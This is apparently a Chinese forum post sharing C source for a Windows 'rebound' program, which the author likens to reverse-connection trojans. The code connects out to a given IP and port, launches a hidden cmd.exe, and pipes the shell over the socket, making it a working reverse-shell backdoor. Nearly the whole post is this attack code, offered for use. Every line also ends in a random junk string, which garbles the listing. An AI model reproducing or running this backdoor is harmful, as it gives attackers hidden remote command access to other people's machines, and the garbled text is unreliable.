这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d1qvS@
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/* ============================== fxQ4kiI
Rebound port in Windows NT `GU Gy. b
By wind,2006/7 "Snt~:W>
===============================*/ w}qLI4
#include 1c\KRK4
#include C0gY
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#pragma comment(lib,"wsock32.lib") 8=MNzcA }
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void OutputShell(); VPr`[XPXb
SOCKET sClient; 11iV{ h
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; elGwS\sw
-=WQed}
void main(int argc,char **argv) s-801JpiJ
{ kXroFLrY
WSADATA stWsaData; L$z(&%Nx
int nRet; OLZs}N+ ;]
SOCKADDR_IN stSaiClient,stSaiServer; h(K}N5`
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if(argc != 3) B#;6z%WK
{ dQs>=(|t
printf("Useage:\n\rRebound DestIP DestPort\n"); a=4 `C*)
return; r_hs_n!6
} >ZwDcuJ~Lz
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WSAStartup(MAKEWORD(2,2),&stWsaData); X> T_Xc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Kw7uUJR
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stSaiClient.sin_family = AF_INET; mUNAA[0 L
stSaiClient.sin_port = htons(0); XI+GWNAmJ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;(-Wc9=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c6T[2Ig
{ =D&XE*qkZ
printf("Bind Socket Failed!\n"); 5AK@e|G$w
return; o1Krp '*
} z2lT4SAv+
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stSaiServer.sin_family = AF_INET; ~p`[z~|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ye| (5f
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b]4\$ rW7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vW-o%u*
{ <{T5}"e
printf("Connect Error!"); pkf$%{"e
return; 2~l +2..
} 2YQ;Kh"S
OutputShell(); x=03WQ8
} `\r<3?
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void OutputShell() Y?6}r;<
{ ^;sE)L6
char szBuff[1024]; ,<BV5~T.|
SECURITY_ATTRIBUTES stSecurityAttributes; -W{ !`<8D
OSVERSIONINFO stOsversionInfo; 6j Rewj
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?PYZW5
STARTUPINFO stStartupInfo; 5\Rg%Ezl
char *szShell; C]Q`!e
PROCESS_INFORMATION stProcessInformation; }X6w"
unsigned long lBytesRead; ]$BC f4:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VHi'~B#'*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S.Q:O{]
stSecurityAttributes.lpSecurityDescriptor = 0; Q?bCQZ{-Lh
stSecurityAttributes.bInheritHandle = TRUE; . H}R}^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H)h$@14xu
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dT{GB!jz
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C/4r3A/u
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }}Zg/(
stStartupInfo.wShowWindow = SW_HIDE; vq+4so
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stStartupInfo.hStdInput = hReadPipe; PXG@]$~3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bcUSjG>
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GetVersionEx(&stOsversionInfo); &]tm'N25
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switch(stOsversionInfo.dwPlatformId) r PTfwhs
{ $Xh5N3
case 1: P]iJ"d]+X
szShell = "command.com"; !"ir}Y%
break; H.;2o(vD
default: RBfzti6
szShell = "cmd.exe"; -Q/wW4dE=
break; wRZFBf~
:
} Y4+]5;B8
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rp4{lHw>C/
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send(sClient,szMsg,77,0); @ULd~
while(1) ^E_chx-e}
{ gCF9XKW
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); },{sJ0To
if(lBytesRead) 1\%@oD_zG
{ lvRTy|%[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LM(r3sonb
send(sClient,szBuff,lBytesRead,0); wv`ar>qVL
} b%KcS&-6
else oWx^_wQ-=
{ vw$b]MO!
lBytesRead=recv(sClient,szBuff,1024,0); nly}ly Q/
if(lBytesRead<=0) break; 9f/l"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); oVr:ZwkG3
} ;<*USS6X
} III:jhh
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return; IEd?-L
}